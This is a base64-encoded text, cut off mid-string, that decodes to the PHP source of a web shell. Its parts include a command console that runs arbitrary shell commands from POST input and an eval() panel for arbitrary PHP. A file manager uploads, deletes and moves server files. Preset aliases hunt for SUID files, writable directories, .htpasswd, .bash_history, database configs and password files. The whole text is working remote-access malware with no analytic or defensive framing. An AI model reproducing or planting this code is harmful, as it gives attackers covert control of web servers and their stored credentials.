LS0tLS0tCi8vIENvbnNvbGUgZ28gLS0tLS0tLS0tLS0tLS0tLS0tLS0KaWYoJG9zID09ICd3aW4nKQoJJGFsaWFzZXMgPSBhcnJheSgKCQkiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLAogICAgCSJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLAogICAgCSJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwKICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKICAgIAkiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwKICAgIAkiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCgkJIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgoJKTsKZWxzZQoJJGFsaWFzZXMgPSBhcnJheSgKICAJCSJMaXN0IGRpciIgPT4gImxzIC1sYSIsCgkJImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgCQkic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKCQkicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoJCSJGaW5kIiA9PiAiIiwKICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIsCiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCgkJImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLAoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKCQkibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwKCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwKCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsCgkJImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiCgkpOwoJCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgewogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gdHJ1ZTsKICAgICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsKICAgIH0gZWxzZWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gMDsKCQkKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKCQlvYl9zdGFydCgpOwoJCWVjaG8gImRvY3VtZW50LmNmLmNtZC52YWx1ZT0nJztcbiI7CgkJJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcJ1wwIikpOwoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJewoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgewoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOwoJCQkJZWNobyAiZG9jdW1lbnQubWYuYy52YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsKCQkJfQoJCX0KCQllY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CgkJZWNobyAiZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxIZWlnaHQ7IjsKCQkkdGVtcCA9IG9iX2dldF9jbGVhbigpOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsKCX0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSAwOwoJcHJpbnRIZWFkZXIoKTsKZWNobyAiPHNjcmlwdD4KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsKdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOwp2YXIgY3VyID0gMDsKZnVuY3Rpb24ga3AoZSkgewoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7CglpZihuID09IDM4KSB7CgkJY3VyLS07CgkJaWYoY3VyPj0wKQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CgkJZWxzZQoJCQljdXIrKzsKCX0gZWxzZSBpZihuID09IDQwKSB7CgkJY3VyKys7CgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKCQllbHNlCgkJCWN1ci0tOwoJfQp9CmZ1bmN0aW9uIGFkZChjbWQpIHsKCWNtZHMucG9wKCk7CgljbWRzLnB1c2goY21kKTsKCWNtZHMucHVzaCgnJyk7CgljdXIgPSBjbWRzLmxlbmd0aC0xOwp9Cjwvc2NyaXB0PiI7CgllY2hvICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGRvY3VtZW50LmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkb2N1bWVudC5jZi5vdXRwdXQudmFsdWU9XCdcJztkb2N1bWVudC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7Cglmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsKCQlpZigkdiA9PSAnJykgewoJCQllY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7CgkJCWNvbnRpbnVlOwoJCX0KCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiciPicuJG4uJzwvb3B0aW9uPic7Cgl9CgkKCWVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO2lmKGRvY3VtZW50LmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUsZG9jdW1lbnQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlLGRvY3VtZW50LmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IiB2YWx1ZT0iPj4iPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSkpOwoJfQoJZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzAwMDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgc3R5bGU9InBhZGRpbmctbGVmdDo0cHg7IHdpZHRoOjEzcHg7Ij4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nOwoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+JzsKCXByaW50Rm9vdGVyKCk7Cn0KLy8gQ29uc29sZSBlbmQgLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gUEhQIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsKCWlmKCBpc3NldCgkX1BPU1RbJ2FqYXgnXSkgKSB7CgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOwoJCW9iX3N0YXJ0KCk7CgkJZXZhbCgkX1BPU1RbJ3AxJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsgCgl9CglwcmludEhlYWRlcigpOwoJaWYoIGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpICkgewoJCWVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CgkJb2Jfc3RhcnQoKTsKCQlwaHBpbmZvKCk7CgkJJHRtcCA9IG9iX2dldF9jbGVhbigpOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5IHsuKn0hbXNpVScsJycsJHRtcCk7CgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIWE6XHcrIHsuKn0hbXNpVScsJycsJHRtcCk7CgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIWgxIW1zaVUnLCdoMicsJHRtcCk7CgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyFib2R5LCB0ZCwgdGgsIGgyLCBoMiB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCWVjaG8gJHRtcDsKCQllY2hvICc8L2Rpdj48YnI+JzsKCX0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKCQllY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0iaWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsKCWVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlvYl9zdGFydCgpOwoJCWV2YWwoJF9QT1NUWydwMSddKTsKCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOwoJfQoJZWNobyAnPC9wcmU+PC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KLy8gUEhQIGVuZCAtLS0tLS0tLS0tLS0tLS0tLS0tLQovLyBGaWxlIG1hbmFnZXIgZ28gLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7CglwcmludEhlYWRlcigpOwoJZWNobyAnPGgxPkZpbGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7CgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgewoJCQljYXNlICd1cGxvYWRGaWxlJzoKCQkJCWlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQoJCQkJCWVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7CgkJCQlicmVhazsKCQkJCWJyZWFrOwoJCQljYXNlICdta2Rpcic6CgkJCQlpZighQG1rZGlyKCRfUE9TVFsncDInXSkpCgkJCQkJZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ2RlbGV0ZSc6CgkJCQlmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsKCQkJCQkkcGF0aCA9IChzdWJzdHIoJHBhdGgsLTEpPT0nLycpID8gJHBhdGg6JHBhdGguJy8nOwoJCQkJCSRkaCAgPSBvcGVuZGlyKCRwYXRoKTsKCQkJCQl3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgewoJCQkJCQkkaXRlbSA9ICRwYXRoLiRpdGVtOwoJCQkJCQlpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkKCQkJCQkJCWNvbnRpbnVlOwoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCRpdGVtKTsKCQkJCQkJaWYgKCR0eXBlID09ICJkaXIiKQoJCQkJCQkJZGVsZXRlRGlyKCRpdGVtKTsKCQkJCQkJZWxzZQoJCQkJCQkJQHVubGluaygkaXRlbSk7CgkJCQkJfQoJCQkJCWNsb3NlZGlyKCRkaCk7CgkJCQkJcm1kaXIoJHBhdGgpOwoJCQkJfQoJCQkJaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkKCQkJCQlmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7CgkJCQkJCSRmID0gdXJsZGVjb2RlKCRmKTsKCQkJCQkJaWYoaXNfZGlyKCRmKSkKCQkJCQkJCWRlbGV0ZURpcigkZik7CgkJCQkJCWVsc2UKCQkJCQkJCUB1bmxpbmsoJGYpOwoJCQkJCX0KCQkJCWJyZWFrOwoJCQljYXNlICdwYXN0ZSc6CgkJCQlpZigkX1NFU1NJT05bJ2FjdCddID09ICdjb3B5JykgewoJCQkJCWZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsKCQkJCQkJCW1rZGlyKCRkLiRzKTsKCQkJCQkJCSRoID0gb3BlbmRpcigkYy4kcyk7CgkJCQkJCQl3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKCQkJCQkJCQl9CgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCQl9CgkJCQkJfQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCgkJCQkJCWNvcHlfcGFzdGUoJF9TRVNTSU9OWydjd2QnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsJCQkJCQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnbW92ZScpIHsKCQkJCQlmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IG9wZW5kaXIoJGMuJHMpOwoJCQkJCQkJd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsKCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCQkJfQoJCQkJCQl9IGVsc2VpZihpc19maWxlKCRjLiRzKSkgewoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQkJfQoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKQoJCQkJCQlAcmVuYW1lKCRfU0VTU0lPTlsnY3dkJ10uJGYsICRHTE9CQUxTWydjd2QnXS4kZik7CgkJCQl9CgkJCQl1bnNldCgkX1NFU1NJT05bJ2YnXSk7CgkJCQlicmVhazsKCQkJZGVmYXVsdDoKCQkJCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICgoJF9QT1NUWydwMSddID09ICdjb3B5Jyl8fCgkX1BPU1RbJ3AxJ10gPT0gJ21vdmUnKSkgKSB7CgkJCQkJJF9TRVNTSU9OWydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107CgkJCQkJJF9TRVNTSU9OWydmJ10gPSBAJF9QT1NUWydmJ107CgkJCQkJZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikKCQkJCQkJJF9TRVNTSU9OWydmJ11bJGtdID0gdXJsZGVjb2RlKCRmKTsKCQkJCQkkX1NFU1NJT05bJ2N3ZCddID0gQCRfUE9TVFsnYyddOwoJCQkJfQoJCQkJYnJlYWs7CgkJfQoJCWVjaG8gJzxzY3JpcHQ+ZG9jdW1lbnQubWYucDEudmFsdWU9IiI7ZG9jdW1lbnQubWYucDIudmFsdWU9IiI7PC9zY3JpcHQ+JzsKCX0KCSRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CglpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsJZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJzsgcmV0dXJuOwl9CglnbG9iYWwgJHNvcnQ7Cgkkc29ydCA9IGFycmF5KCduYW1lJywgMSk7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQoJCQkkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOwoJfQo/Pgo8c2NyaXB0PgoJZnVuY3Rpb24gc2EoKSB7CgkJZm9yKGk9MDtpPGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJCWlmKGRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLnR5cGUgPT0gJ2NoZWNrYm94JykKCQkJCWRvY3VtZW50LmZpbGVzLmVsZW1lbnRzW2ldLmNoZWNrZWQgPSBkb2N1bWVudC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwoJfQo8L3NjcmlwdD4KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD4KPD9waHAKCWVjaG8gIjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxX